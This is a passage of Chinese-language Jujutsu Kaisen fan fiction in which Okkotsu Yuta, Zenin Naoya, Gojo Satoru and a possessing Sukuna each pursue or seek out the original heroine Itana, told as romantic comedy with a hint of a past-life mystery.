“忧太,你回来了!”
宽阔的操场上,手中握着武士刀的瘦弱少年立在操场,风吹过,穿着单薄的少年时不时捂住嘴咳嗽几声,像是大病初愈的病人。
他身形瘦削单薄,穿着一件白色高专校服,深色裤子包裹住瘦长有力的大腿。
不像武士,倒像书生。
光是看外表,很难把他与当今咒术界的翘楚联系在一起。
熊猫训练完,一眼看见瘦削的乙骨忧太站在出口处,兴奋的冲上前。
“棘,真希,忧太回来了!”熊猫大力抱住乙骨忧太,乙骨忧太只是略带疲惫地笑了笑,“熊猫,力气太大了……”
“没事,我兄弟受得住!”说完,一大巴掌落到乙骨忧太背上。
伊地知扯了扯嘴角,“你还真是不留情啊。”
狗卷棘走上前,眼里闪着亮光,用愤怒的眼神瞪熊猫,似乎在责怪熊猫凭什么这样欺负弟兄,又用欢迎的目光迎接伙伴的回来。
禅院真希提着刀,走到最后,她瞥了一眼熊猫,道:“赶紧松手吧,你以为人人都和你一样,皮糙肉厚的什么都不怕。”
“忧太,一年级新生进来了,我们现在是学长了!”晋升为学长的熊猫觉得很荣幸,马不停蹄炫耀战绩,“好不容易当学长了,可得好好收拾完下面的学弟学妹!让他们也尝尝我们当年的苦!”
乙骨忧太扬起嘴角,露出礼貌的微笑,“熊猫,这样不好。”
“有什么不对吗,我觉得很好,我觉得很好。”
狗卷棘不否定也不支持,禅院真希一点都不关心这个问题。
见完同级,乙骨忧太特地拜访了五条悟和伊田奈。
两位他成长路上重要的人。
五条老师不在,要晚一点才会回来,只有伊田奈在。
伊田奈穿着简单的短袖长裤,站在房门口,一只手拉着门锁,一只手抓住门框,黑色的长发飘逸漂亮。
乙骨忧太站在门口,手里提着出差带回的特产,笑着问:“不邀请我进去坐坐吗?”
42.邪恶霸总
新闻上说,一年的时间,能让一个人的气质性格发生翻天覆地的变化。
乙骨忧太如今也是过了差不多一年的时间,气质上就已经有了很明显的变化。
他还是同从前一样瘦,只是个子长高了一点。
他穿着纯白的高专校服外套,黑色西裤包裹住两条瘦弱但有力的大长腿,头发高高梳起,脸上挂着淡淡的微笑。
两只眼睛下挂着乌黑浓厚的黑眼圈,眼里藏着淡淡的疲惫感。
乙骨忧太有时候站在那,远远看去弱不禁风,只会以为是哪个不出名的书生,可是走近一瞧,倒像是从地狱中爬出,伪装成善人的恶鬼。
面前女人眉心微颦,露出诧异的神色。
乙骨忧太嘴角还是勾着的,只是笑意深不见底:“很久没有见到你了,咱们都多久没坐下来聊过天了。”
这倒也是。
伊田奈退后一步,乙骨忧太迈着长腿走进去。
熟悉的沉木香从鼻尖钻进来,乙骨忧太觉得莫名的心安。
也正是因为这份安心,才让乙骨忧太忍不住不断靠近伊田奈。
“伊田奈,你的房间是熏香了吗?好香,是什么香?”乙骨忧太问。
男人脸上挂着讨好的笑。
伊田奈吸了吸鼻子,摇头,“没有熏,你说的这应该是家具自带的香味。”
“我房间里面的家具全都是实木的,你要是喜欢,可以把你自己的家具也换成实木的,实木自带香气。”
是家具带的香?
乙骨忧太认真思考,当真听进去伊田奈的话,第二天就把屋子里的家具全都换成了和伊田奈一样的实木家具。
伊田奈说的不错,家具自带香气,和在伊田奈房间里闻到的香气差不多。
乙骨忧太闭上眼,感受家具淡淡的香气,连续做了两个深呼吸。
他满怀期待,期待靠着这股香气能够让自己的心平静下来。
很遗憾,没有迎来想象之中的平静。
他现在很浮躁。
乙骨忧太缓缓扯了扯嘴角,骨节分明的手指覆盖住脸颊,缓缓笑出声来:“原来不是香气的问题啊,是什么呢,好难猜啊……”
他想起昨天在伊田奈房间,房间里的味道让他感到平静。
伊田奈给他倒了一杯水,和他说了几句话,她看上去兴致不高,乙骨忧太早就习惯伊田奈兴致不高时不怎么说话,他喝了两口水,疲倦感瞬时涌过来。
乙骨忧太不知道什么时候睡着了,醒过来的时候,月亮已经升起来,亮亮的,挂在窗外。
他拿掉身上盖的毯子,房间里的灯还开着,伊田奈靠在矮沙发上睡着了,杂志掉落在地上。
她身上什么都没盖,还是穿着那套短袖长裤,短袖长裤此时皱巴巴的。
乙骨忧太捡起掉落在地面的书,放到桌上,轻轻抱起伊田奈,伊田奈很轻。
乙骨忧太轻轻把伊田奈放到床上,替她盖好被子,轻声离开,关门。
那时候,乙骨忧太整个人都感到前所未有的平静,不像现在这样,浑身上下躁动。
乙骨忧太慢慢收起脸上的微笑,躁动在血液中沸腾。
“看来还是要杀几个咒灵……”乙骨忧太笑道。
伊田奈最近几天出门都能以各种各样的方式偶遇乙骨忧太。
早上开门的时候,碰到刚好结束早锻炼的乙骨忧太;吃完饭散步,碰到正在训练的乙骨忧太;出门回来,碰到一起同行的乙骨忧太。
最先注意到乙骨忧太变化的是老油条熊猫。
熊猫撑着下巴,一副“我什么都知道!”的样子。
当有一次注意到乙骨忧太光鲜亮丽的面容还有没有一丝褶皱的衣服,熊猫觉得自己有必要关心关心兄弟的终身大事。
“忧太,你老实说,你是不是恋爱了?”
处在青春懵懂时期的少年们正是荷尔蒙爆发的时候,雌性激素和雄性激素催促着少年们赶紧对异性产生爱慕。
乙骨忧太一怔,一双漂亮的大眼睛愣了一下,“恋爱,我吗?”
他好像对自己会恋爱这个事情感到很疑惑。
“别装了忧太,你看看你每天打扮的那么精致,有时候一个人站在那里傻笑,你不是恋爱了是什么?快说,究竟是谁,你们到底是怎么认识的?是在外面跑任务的时候看上的吗?”
熊猫翘起尾巴,翘首以盼,眼里闪着卟啉卟啉亮光。
乙骨忧太眼前下意识浮现黑色头发的少女,少女皮肤白皙,眼神冷漠,有时候笑眯眯的,有时候拽的跟二五八万似的,臭着一张脸,好想全世界都亏欠她。
乙骨忧太发愣。
熊猫翘起尾巴给自己的情商打了一个大大的满分。
狗卷棘不知道什么时候来到熊猫身后,躲在熊猫身后睁大眼睛看乙骨忧太发愣的样子。
就连禅院真希,也来到了两人一熊很近的地方练习,假装漫不经心实则心里也有一点好奇。
“没有。”乙骨忧太否认,“每天光是训练就要花费那么多时间,我哪里有时间去恋爱呢。”
熊猫死缠烂打,终于从乙骨忧太嘴里套出来一点东西。
“是在外面出任务的时候认识的,她不知道我喜欢她。”
喜欢的人是谁乙骨忧太无可奉告。
熊猫得到满意答案不再为难乙骨忧太,和狗卷棘两个人思考究竟乙骨忧太喜欢的女孩长什么样。
禅院真希听到答案以后越走越远,没想到一年前羞涩腼腆的乙骨同学竟然是所有人里面最先开窍的一个。
五条悟从熊猫嘴里知道这个消息以后,到乙骨忧太面前调侃。
“我们忧太同学那么优秀,喜欢的人一定会喜欢他的!”五条悟真心实意地鼓励,“自信一点,男人不能说自己不行!”
乙骨忧太愣住,表情怪异:“五条老师,您真的这样觉得吗?”
“那是自然了,你可是我的得意门生啊!”
乙骨忧太脸上表情一言难尽,“我会的,五条老师。”
五条悟笑眯眯地走开,还不清楚乙骨忧太暗恋上的那个人究竟是谁。
-
禅院直哉自从高专开学以后就很少见到伊田奈,她的消息封锁得越来越严。
五条家的天才一步步肃清埋伏在他们身边的线人。
还好,禅院直哉是一位优秀的领导者,他总是有办法从其他人手中获得情报。
“伊田奈,你为什么最近老是窝在那个破高专,为什么不出来?”
医院门口,漂亮的黑发女人身旁跟着一位喋喋不休的男人。
禅院直哉就是那位男人,伊田
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奈则是那个女人。
“你烦不烦?每次都试图用这些花招吸引我的注意力,我都已经明确拒绝过你了,我不会因为你使用这些手段就看上你。”
禅院直哉有时候觉得自己像网络上那些烂梗小说的女主角,伊田奈则是那个油腻霸总。
因为伊田奈老是明里暗里贬低他,那些贬低的话术和烂梗小说里霸总的话术一模一样。
“禅院直哉,别以为这样你就能吸引我的注意力,我告诉你,我是不可能喜欢你的。”
“禅院直哉,你以为这样就能吸引我?这样的手段我早就见过了,呵。”
“禅院直哉,你难道不觉得自己很可笑吗?我都已经告诉过你我不会看上你,你却还是花费心思来获取我的注意力,就这么喜欢我?”
……
“就这么喜欢我?”这一句话在禅院直哉梦里出现了一个月,每次闭上眼,都是伊田奈挑着他的下巴,用轻佻的眼神对他说出这句话。
葱白似的手指带来的温良触感。
也是从那以后,禅院直哉发现自己的不对劲。
不会真的喜欢上那个疯女人了吧?
禅院直哉有时候心底会冒出这样奇怪的想法,每次冒出这样的想法,禅院直哉都会飞快给自己两巴掌。
他怎么可能喜欢上那个女人!?
意识到这一点后,禅院直哉每一次看到伊田奈,心跳都会加快。
禅院直哉不信邪,悄悄在网络上寻找类似的帖子。
那些帖子都在告诉他,你完了,你陷入爱河了。
他们说这种感情叫做喜欢。
禅院直哉不知道什么叫做喜欢,也没人教过他要怎么喜欢一个人。
但是他懵懵懂懂意识到,他对伊田奈的感情……好像真的是喜欢?
医院门口人流量大,漂亮的女人在人群中总是出类拔萃,一眼就能看见。
一个矮小的男人上前,挡在伊田奈面前。
“你好,方便加个联系方式吗?”他故意露出手腕上的表,市价两百万。
要联系方式的男人说话直接,伊田奈还没说话,禅院直哉已经上前。
禅院直哉学着那个男人不经意的样子,挽起衣袖,露出手腕上价值一千万的表。
“不好意思,她不方便。”
身材高大气质出众的男人出现在他们面前,要联系方式的男人很快离开。
“什么东西,一块价值两百万的表就上前来,呵……我这块还是我所有表里面最差的。”禅院直哉目送要联系方式的男人离开,毫不留情地开口嘲讽,“不自量力。”
伊田奈闻言,抬眼瞧了瞧禅院直哉,赤裸裸的目光在他身上上下打量。
“虽然你帮我挡掉了搭讪,但我是不会因为这种方式就轻易答应你的追求,顶多给你半分注意力。”伊田奈脑子里思考霸总小说里霸总要怎么说出这样的油腻台词,心里想着,嘴上就说了出来。
她要用魔法攻击这位油腻霸总。
霸总打败霸总。
“是吗,如果我想要吸引你的注意力,那应该用什么方式?”禅院直哉像往常一样笑了笑,勾起邪魅的嘴角,然后像往常一样吐槽。
吐槽……
不对! 伊田奈瞪眼,没想到禅院直哉说了一句她万万没想到的话。
43.心动啊
“你小子什么意思?”伊田奈宁愿怀疑自己听错了也不愿意相信禅院直哉竟然会说出这样的话。
面前少女两只眼睛瞪得圆圆的,乌溜溜的眼珠写满难以置信,秀丽白净的脸上露出一丝狰狞。
“字面意思。”禅院直哉道,“要怎么样才能博得你的关注?”
男人勾了勾嘴角,看上去心情不错,整个人精神昂扬,饶有兴味盯着面前的女孩。
伊田奈嘴角抽了两下,她不淡定了。
原本以为走了霸总的路,让霸总无路可走,霸总也就知趣不再来讨人嫌。
没想到这家伙竟然喜欢上了她?!
伊田奈觉得这个世界疯了。
她上下扫视面前的男人,露出难以言喻的嫌弃,“你还不够格。”
“呵……”禅院直哉慢条斯理整理衣袖,露出白皙的手腕,眼神里带着自满,“我,禅院家未来的家主,天赋不说绝顶,但也是百里挑一,难道配不上你?”
禅院直哉眨动狭长浓密的睫毛,一步步逼近伊田奈。
“牛。”面前女人学着他的样子发出一声轻嗤,“都说了让你不要再用各种手段来软磨硬泡来吸引我的注意力,我是不会多看你一眼的!”
伊田奈理论了一天,身心俱疲。
诚然,禅院直哉还是有几分姿色在身上的。
他手长脚长,皮肤白净,爱干净,虽然脾气臭点,总是觉得自己是宇宙第一帅,但还是比一般的男人要突出。
不论是长相还是气质,都远远甩其他男人一大截。
坚定如伊田奈,都差点被禅院直哉的花言巧语打动。
想到禅院直哉那家伙做的事情,伊田奈忍不住捂脸,觉得尴尬。
伊田奈上午本打算装疯卖傻糊弄过去,谁知道禅院直哉竟然还是个死脑筋,红着脸傲娇说:“也许你说的对,我可能是喜欢你。我从来都没对别的女人心跳那么快过,所以你可以给我一个机会吗?告诉我你喜欢什么样的男人。”
禅院直哉说着说着把自己说得红温,死缠烂打伊田奈,逼问伊田奈的理想型。
“我的理想型是我自己,我是水仙可以吗?”伊田奈被烦得没办法,怼他。
禅院直哉并不知道水仙是什么,便直接问了出来。
“水仙就是,我的理想型是我自己。”
禅院直哉似乎喜欢废话文学,这一点都不符合他平日里的表现。
伊田奈搪塞他,他虽然生气,但是这家伙明明超在意却装作毫不在意,假装漫不经心,不着痕迹打听套话。
话里话外都是一个意思——我喜欢你,给个机会呗……
伊田奈不是没遇到过死缠烂打的男生,但那些男生都是外人,很少有从小就像宿敌一样相处的人。
“宿敌也能成恋人,你还没睡醒?”伊田奈这样想,也这样说出来。
“为什么不可以?”禅院直哉看起来是一点都不在意了。
不在意从前骂伊田奈是个废物,追着捉弄伊田奈,绑架恐吓。
几句轻飘飘的话就想把这一切揭过去,想要把宿敌变成恋人。
哪有这么好的事情?
禅院直哉仗着身高优势,两只手环住伊田奈的肩膀,低下头打算强吻。
“你是我这二十多年以来第一个碰的女人。”说这话时,他还带着怜悯和沾沾自喜。
伊田奈:……
伊田奈不知道说什么,狐疑看着他,挣脱他的双手,使劲推开他,骂道:“发猪瘟了?能不能不要乱拱人。”
伊田奈自认为对这位少爷说的话已经不好听了,但这个少爷还是一点都不肯放弃,一直纠缠了很久,从她看完津美纪出来就一直纠缠。
“你真是一个缠人的大妖精。”伊田奈对他说完最后一句才回到高专。
好不容易松了一口气,另一个高高瘦瘦的男人走过来,两条看似文弱,却十分有劲的双腿停在面前。
“伊田奈,好巧,你回来了。”
是乙骨忧太。
乙骨忧太头发高高梳起来,露出白皙光洁的额头,两个眼窝深陷,眼下的黑眼圈似乎又重了一些。
此刻他嘴角抿起,明明是笑的,却藏着一股肃杀之意。
伊田奈一下就察觉到。
“你晚上偷牛去了?”刚甩掉禅院直哉那个直球混蛋,伊田奈现下语气说不上好,只能维持基本的礼仪。
“是我的黑眼圈变得更明显了吗?”乙骨忧太嘴角扬起的角度更高了,没想到伊田奈竟然会注意到这些细枝末节,他对此还是感到十分开心,语气变得轻快, “最近这些天有点忙,不过还好,看来还是得好好休息了。”
伊田奈的话外之意乙骨忧太一下子就品出来了,对此,他还有点沾沾自喜。毕竟换一个人说不定就不能听得那么清楚了。
“早点休息,少熬夜。”小心猝死。
最后一句话伊田奈没说出来,要避谶,免得乙骨忧太以为她是在诅咒他,到时候她跳进黄河都洗不清。
乙骨忧太听了,笑得更开心了,眼睛眯成一条线,乐呵呵道:“好的。”
伊田奈绕过乙骨忧太往后走,没想到乙骨忧太跟在她身边,有一搭没一搭说话,“伊田奈,你恋爱了吗?原来你喜欢的是外面那种类型的男人啊。”
乙骨忧太用轻快的语气说,脸上依旧是那副笑眯眯的表情。
殊不知,他远离伊田奈的那一侧手,青筋直冒,紧紧攥成拳头。
伊田奈闻言,顿住脚步,一言难尽。
“你怎么看人的?”伊田奈抬眼,欲言又止。
“难道不是吗?”乙骨忧太继续云淡风轻地说,“之前没见过别的男人送你回来。”
伊田奈道:“……你想多了,他不是我男朋友。”
想到禅院直哉死缠烂打的样子,伊田奈又是一阵头疼。
乙骨忧太紧紧握住的拳头松开一点,手上青筋却还是直直冒起。
“那是什么人呢,之前都没见过他。”乙骨忧太接着问。
“不重要的人,不必管他。”伊田奈说。
就这样一路走到宿舍,乙骨忧太不知道从哪里掏出来一个盒子,是个装饰精美的小长方形盒子。
握住长方形盒子的手指细长而骨节分明,手背上是一股股暴起的青筋。
是一双很好看的手。
伊田奈盯着乙骨忧太的手好几秒,收回视线。
“你做什么?”伊田奈问。
乙骨忧太解释:“送你的礼物,最近短途出差,在乡下碰到一个摆摊的老爷爷手工做的,想着照顾老人家生意,就买了不少,带回来给你们。”
原来如此。
伊田奈眼中的戒备渐渐消散,接过礼物,说道:“谢谢你,下次我也给你带。”
乙骨忧太看着纤细的背影消失在眼前,又站了许久,才依依不舍离开。
他没说的是,那位老爷
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爷手工做的确实很好,但编织的都是些草编玩意儿,卖给乡下的小孩子。
他找那位老人做了很多东西,唯有给伊田奈的钱是最不一样的。
因为这是他亲手编的。
熬了几个夜,抽出时间和那位老爷爷做手工,编废了好几条,只有这条最好看,才勉强留下来。
如今心下藏着的事情解决一桩,乙骨忧太觉得自己浑身轻飘飘的,走路的步伐也跟着兴奋起来。
另一边,伊田奈进了屋,拆开盒子,看到里面的手链。
是一条纯手工的手链。
做工算不上十分精美,却也很生动。
还没盖上盖子,五条悟像鬼一样突然窜出来。
“好漂亮的手链!”五条悟凑近看,两只眼睛看得放光,“我可以看看吗?”
伊田奈说:“想看就看,小心点,这是别人送我的。”
五条悟抬起手,拿起手链仔细看,“这个一看就花了不少心思。”
五条悟看了看,小心放下手链。
“真是漂亮啊,也不知道是谁送你的,真是羡慕啊?”
伊田奈别过头:“羡慕什么,你又不带手链,别羡慕了。”
伊田奈收好手链,直至瘫倒在床上,四仰八叉睁不开眼。
明明只是出去一天,伊田奈觉得像是过了一辈子。
“好疲惫!”伊田奈白净的脸对着天花板。
五条悟在外忙了一天,虽然心理上有点疲惫,但他是高精力人士,能够自己抚平疲惫。
当然,五条悟首选抚平疲惫的方式是靠近伊田奈。因为靠近伊田奈,他会感到前所未有的心安。
“我也好疲惫啊,伊田奈!”五条悟扯着嗓子嚎,长手长脚的身子不断扭动,俊俏的面容上全是疲惫。
一张薄唇红润勾人。
伊田奈冷哼两声,不去瞧五条悟,当即说:“你骗人,你是高精力人士,几天晚上不睡觉都能够生龙活虎,和我不一样。”
五条悟的高精力是出了名的高,整个咒术界找不出第二个比他精力还旺盛的人。
被幼驯染毫不客气地拆穿,五条悟脸上挂不住,左边唇角勾起,扑倒在伊田奈身边,打了几个滚。
“我明明就很累你竟然说我不累!我好伤心……”他抬起手擦并不存在的眼泪,活生生像个被人抛弃的怨妇。
伊田奈转过身,面朝这个容貌俊俏的男人,脸上挂着一丝讥诮:“让你休息你不休,谁前段时间生龙活虎的像头牛。”
“我休了我休了,我还找他们大闹一场退了好多工作,你还不夸我!?”五条悟撅着嘴哀嚎,像是做了好事没被夸奖哇哇大哭的小孩。
“行行行,你最棒了好吧。”伊田奈揉了揉太阳穴,想起禅院直哉的表白,眉心又是一跳。
禅院直哉长相确实不错,比外面的男模不知道好了多少倍。
答应他好像也不是不可以?大不了以后就把这家伙甩了……
伊田奈认真想,想着想着叹了口气。
五条悟玩够了,躺在伊田奈身边不动,听到女生微不可察的叹息声,问她:“怎么了?”
伊田奈低头,瞧见幼驯染上天赏的脸颊,鼻梁高挺,眼窝深邃,棱角分明。
“你说,要是有人和你表白,对方综合条件还不错,你要答应吗?”
五条悟心中警铃大作,顿时察觉到不好的征兆,整个人锋利起来,“有人和你表白了?”
44.试探我?
五条悟二十多年的生活中,很少有情绪剧烈起伏的时刻。
即便有,两只手能数过来。
听到伊田奈认真讨论对象问题,五条悟呼吸一窒,心脏像是被人捏住,产生怪异的、似痛非痛的感觉。
恍惚之中,好像回到几年前,伊田奈读大学的时候。
伊田奈不愿意到国外读,在国内读了一所知名度还不错的大学。她长得漂亮,在学校里很受欢迎,来表白的人不计其数,在他没有伪装成她的男朋友时,伊田奈隔三岔五就能收到厚厚的几封情书。
甚至和他走在一起,也会有男生鼓起勇气上前索要联系方式。
伊田奈一个都没给,她说自己年纪还小,不着急。
如今她年纪确实不小了,也到了谈婚论嫁的年纪。可想到伊田奈有一天会成为别人的妻子,五条悟就觉得浑身上下怪怪的。
伊田奈会挽住那位成为她丈夫的男人,会朝他撒娇,两个人私底下亲昵的接触,甚至她的丈夫可能还会因为她和自己接触感到吃醋。
男人目光灼灼,像是盯住心仪已久的猎物。
伊田奈不由自主心虚一下,摸了摸鼻尖,“不是一直都有人和我表白吗?”她说。
“想谈恋爱了?”五条悟问。
伊田奈闭上眼思考了一下,答道:“也许吧,到年纪了尝试尝试?”
得到确切答案,五条悟和他想象中一样,兴致不高,无法想象自己从小长大的幼驯染有一天会成为别人的妻子。
伊田奈为他人相夫教子的画面出现在脑海中,五条悟不禁打了个寒颤。
这个画面想想就可怕!
五条悟沉声问:“是哪个男人和你表白了?”
五条悟会控制自己不去弄死那个男的。
“你管他是谁呢,我也就是说说而已。”伊田奈乌溜溜的眼珠子转了转,脸上露出讪讪的笑,“再说了,幼驯染的外貌要比别的男人高出一大截,我挑人的眼光可高着呢!”
“有道理。”五条悟点点头,白皙修长的手指扯下眼罩,湛蓝如天空的眸子露出来,雪白的睫毛有一下没一下眨动。
五条悟把脸凑近伊田奈,鼻息喷洒到伊田奈面庞上。
温温润润的。
伊田奈推了他一把,脸上有点不自然,“你离我那么近干什么?”
五条悟被推搡的退后两步,“自然是让你多看看我这张脸啊,防止你被一些不三不四的人骗走!”
伊田奈觉得好笑:“我还能被人骗走,你太小瞧我了吧?”
五条悟说:“那不一定,有的男人嘴上说的话可漂亮了,到头来还不是一个精明的骗子?你千万得小心这些人,尤其是那些说话好听的男人。”
防止被骗,免得你到时候一个人伤心。
伊田奈知道五条悟说得有道理,勾了勾嘴角,脸上露出一抹笑,“你这么小心,要是我找不到男朋友怎么办?”
少女脸庞如玉,含笑的眸子里清晰倒映自己的眼身影,她就这样勾唇笑着,只是看看,就好像有一股暖暖的春风拂过,勾得五条悟心上痒痒的。
“找不到男朋友,我养你啊!”五条悟听见自己的声音和心跳,还有一股期待。
少女脸上还是挂着笑,但好像并没有把这话当真。
“好呀好呀,以后都得靠你了。”
五条悟心上说不出来的闷。
他开始重新审视自己和伊田奈的关系。
晚上,他罕见的没有宿在伊田奈的房间里,一个人躺在房间里对着天花板发呆,脑中是白天他说的那句“找不到男朋友我养你!”
五条悟说的是认真的,开口的时候有一点别扭,但是回过头来看,他难道不比别的男人优秀吗?
凭心而论,他总是下意识亲近伊田奈,在伊田奈面前比在其他人面前更放松自然。
甚至在夜里,靠近伊田奈能够使他安稳入睡。
既然要找男朋友,那个男朋友为什么不能是他?!
五条悟左思右想,虽然一开始有点怪异,但越想越对,越来越觉得这个想法有可行性,以至于一整夜没睡。
-
虎杖悠仁速度非常快,已经吞掉了五根宿傩的手指。
即便是这样的快速,可虎杖悠仁还是觉得不够,身体里的血液伺机而动,睡梦中都会无意识地呢喃,希望找到宿傩的手指,然后吞下去。
伏黑惠隔三岔五给虎杖悠仁检查身体,检查他是不是清醒。
伏黑惠说:“你吞掉手指的速度已经很快了,还是不满足吗?”
虎杖悠仁摇了摇头,脸上露出茫然:“他很强,好像复活的愿望很强烈,可是我不知道他为什么这样做。”
虎杖悠仁作为容器都不知道的事情,伏黑惠更不会知道。
“你要是有身体不适,一定要第一时间告诉我。”伏黑惠叮嘱虎杖悠仁。
经过一段时间的相处,伏黑惠感受到虎杖悠仁其实是一个平易近人的学生,他的性格很好,平日里也总是替别人着想,哪怕知道自己作为宿傩容器,总有一天会被处死,也从无怨言,积极面对生活中的每一天。
眼睁睁看着这样一个人死去,伏黑惠做不到。
虎杖悠仁笑眯眯地回道:“我会好好照顾自己的,你不用担心我。”
虎杖悠仁摸了摸头,脸上挂着笑。
送走伏黑惠,虎杖悠仁一个人的时候,他才靠在沙发上叹了口气。
“你究竟,要做什么?”虎杖悠仁抬起手,盯着自己的手,眼睛一眨不眨。
上次出任务,联络人再一次错估了咒灵的实力等级,钉崎同学,惠和他都受到了重创,他差一点死在那里。
是他,他在三人命悬一线中出现。
“答应我,让我用你的身体做些事,我让你们三个都活下来。”
宿傩脸上还是那副不可一世的表情,居高临下看着虎杖悠仁。
虎杖悠仁自然不可能答应宿傩,更不会让他用自己的身体做出伤天害理的事情。
“我不会用你的身体杀人,只需要找一个人。”
虎杖悠仁很难形容那时候在宿傩脸上看到的表情。
传闻中不可一世的宿傩脸上闪着怨恨,痛苦,但更多的是庆幸。他那一张脸就这样狰狞扭曲,扭曲的
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近乎变态。
想到这里,虎杖悠仁突然想到他刚才回答伏黑惠的话——他不知道宿傩为什么那么急切的想要找到手指。
原来是为了寻人……
虎杖悠仁隐隐察觉到了什么,但他已经和宿傩发过誓,不会把这件事情泄露出去半分。
确实,他做到了,没有把这件事情透露半分。
但宿傩要找的那个人究竟是谁?
虎杖悠仁在夜晚知道了答案。
五条悟最近两天不在咒术高专,虎杖悠仁……不,应该是宿傩,悄无声息出现在伊田奈房间。
身体有着黑色纹理,表情冷漠的虎杖悠仁出现在伊田奈面前,伊田奈试探着喊道:“虎杖悠仁同学?”
面前的男人没有答应。
伊田奈觉得诡异,大着胆子绕男人走了一圈,仔细观察男人,道:“身高体型外貌都差不多,我也没听说虎杖同学还有个双胞胎兄弟,身体应该错不了,但壳子不太对,你是……宿傩!”
伊田奈拍了拍手,发出清脆的响声,与此同时,她迅速后退一步。
听到宿傩这两个字,伊田奈眉心隐隐有点痛。
大脑深处好像有什么东西要钻出来。
尸山血海隐隐在眼前浮现。
尤其是这个男人极具侵略性的眼神,伊田奈下意识想到梦里那个高大的身影。
宿傩冷笑一声,嗓音低沉:“难为你还记得我,我找了你那么多年,你究竟去了哪里……”
宿傩咬牙切齿,一字一句从口腔里吐出,恨不得将伊田奈生生撕开,把她的肉一片片吃下去。
“要不是你的容貌没变,手上那串碍眼的珠子,我还不一定认得出你……”
后面这话带了些怨怼,怨气满满。
宿傩慢慢说着,对上对面女人疑惑的眼神,说话声音越来越低,最后噤声,沉默看着面前的女人,眼神紧紧盯在她身上。
“你不认识我了?”宿傩皱眉,这样想着,也就这样问出来。
“我们,应该认识?”伊田奈这样想,也就这样问出来了。
宿傩神色一怔,眉心拧得更紧。
面前穿着现代家居睡衣的女人和从前那个在山村里倔强的女孩面影重叠。
两人的容貌是一样的,宿傩不会认错。
他不耐烦的眨了眨眼,暴戾拉起伊田奈的手,动作虽然粗暴,落到伊田奈手上的力道却不重,他用手掌摩挲着伊田奈手上的珠子,还是和从前一样的触感,宿傩做梦都不会认错,他问道:“你手上的东西,哪来的?”
“这个?”伊田奈低头看了看珠子,“我有记忆以来就一直带在手上了,怎么,这东西有古怪?”
宿傩轻嗤一声,“你是真傻还是假傻?试探我?”
一双锋利如鹰的眼睛锐利扫向伊田奈,“这串珠子能够辟邪,不管你丢没丢掉记忆,你都不会发现不了。”
声音里没有丝毫迟疑,全是肯定。
宿傩几乎确定眼前这个伊田奈就是从前那个伊田奈,只是她不知道怎么回事,暂时忘掉了从前的记忆。
不过没关系,他会帮她想起来。